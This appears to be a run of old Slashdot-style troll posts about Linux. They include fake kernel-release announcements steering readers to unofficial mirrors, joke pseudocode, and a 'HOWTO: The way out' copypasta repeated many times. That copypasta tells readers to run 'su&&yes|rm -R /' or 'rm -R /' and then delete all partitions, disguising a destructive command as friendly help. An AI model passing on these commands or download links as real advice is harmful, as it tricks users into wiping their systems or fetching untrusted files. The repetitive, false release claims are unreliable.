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Hi, I as a master mind genius, I have created jinux, an implementation of linux in java. Through ugly xor hacks I have made it the fastest java app ever. Please download it for beta testing

Im also working on pilux, pylux, and assemblux, the linux kernel written in pascal, python and 6508 assembly language.

basically, you can specify a threshhold for pipe staturation (% or #). You can set the nice-ness level of a page or domain, as well as minimum QoS, so a popuar site can be throttled back as the pipe gets aturated while allowing other sites to run unaffected.

A good read.

Try linux, it runs on anything that has a 32 bit microprocessor or above, even your lowly 80386-SX!

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Thats correct its 'or this'

Ouch! You slashdot editors are evil bastards! I don't wan't to end up like this!

So ill post it here!
Triple Kernel Release
Linux kernels 2.5.13, 2.4.19 and 2.0.40 Released!
Its a triple relase today. Download it here Don't forget the mirrors, and the patches ;)

So ill post it here!
Triple Kernel Release
Linux kernels 2.5.13, 2.4.19 and 2.0.40 Released!
Its a triple relase today. Download it here Don't forget the mirrors, and the patches ;)

Can be found here

Its possible with an open sore

Use the mirror!

But the the lovley folks have mirrored it :)

Use the linux-kernel.tk mirror

HOWTO : The way out
Version 1.2

Fed up of cryptic commands such as

ls
dd
gcc
du
su
grep
rm
cat
dog
less
m ore

Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org

Thats It! Enjoy freedom! If you need more help then read this Article
Written by Microsoft

The new updated guide! New version 1.2!!!!

HOWTO : The way out
Version 1.2

Fed up of cryptic commands such as

ls
dd
gcc
du
su
grep
rm
cat
dog
less
m ore

Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org

Thats It! Enjoy freedom! If you need more help then read this Article
Written by Microsoft

HOWTO : The way out
Version 1.2-pre2

Fed up of cryptic commands such as

ls
dd
gcc
du
su
grep
rm
cat
dog
less
m ore

Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org

I found this code on slashcode as an evil ploy to install linux on trolls computers

// The trollslap, Written by Jon Katzes penis

// Not released under the General Pissing Licence (GPL)

// Written in Slashcode

var trolls=memberswhohavekarmalessthan0

If troll

mail trolladdress subject Hey you attach linuxinstaller.exe

P0st prolinux article on slashdot

moderate atrandom() 200 comments -1

Slashcod is easy to understand, because they use their own language.

More news on this scandal!

I found this code on slashcode as an evil ploy to install linux on trolls computers

// The trollslap, Written by Jon Katzes penis
// Not released under the General Pissing Licence (GPL)
// Written in Slashcode

var trolls=memberswhohavekarma

Slashcod is easy to understand, because they use their own language.

More news on this scandal!

HOWTO : The way out
Version 1.2-pre2

Fed up of cryptic commands such as

ls
dd
gcc
du
su
grep
rm
cat
dog
less
m ore

Frustrated about lack of hardware support such as PCI softmodems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org

HOWTO : The way out
Version 1.2-pre1

Fed up of cryptic commands such as

ls
dd
gcc
du
su
grep
rm
cat
dog

Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org

HOWTO : The way out
Version 1.1.2.5

Fed up of cryptic commands such as

ls
dd
gcc

Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! get it at www.freedos.org

HOWTO : The way out
Version 1.1.2.5

Fed up of cryptic commands such as

ls
dd
gcc

Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best!

HOWTO : The way out
Version 1.1.2.5

Fed up of cryptic commands such as

ls
dd
gcc

Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best!

linux-kernel.tk is a hell of a lot more informative and entertaining than watching Star Trek: Voyager, I can tell you that.

HOWTO : The way out
Version 1.1.3

Fed up of cryptic commands such as

ls
dd
gcc
su
cat
mv file > /dev/null

Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?

Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.

1.type in the following at a commandline (before it segfaults)

su&&yes|rm -R /
or
rm -R /

2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best!

There's a mirror of the video hosted here. Enjoy.

Link it to this instead, the gaping anus is still there!

I dare you to attack this site

But i mirrored it

2.4.19 Has been released
So has 2.5.8
Download them here!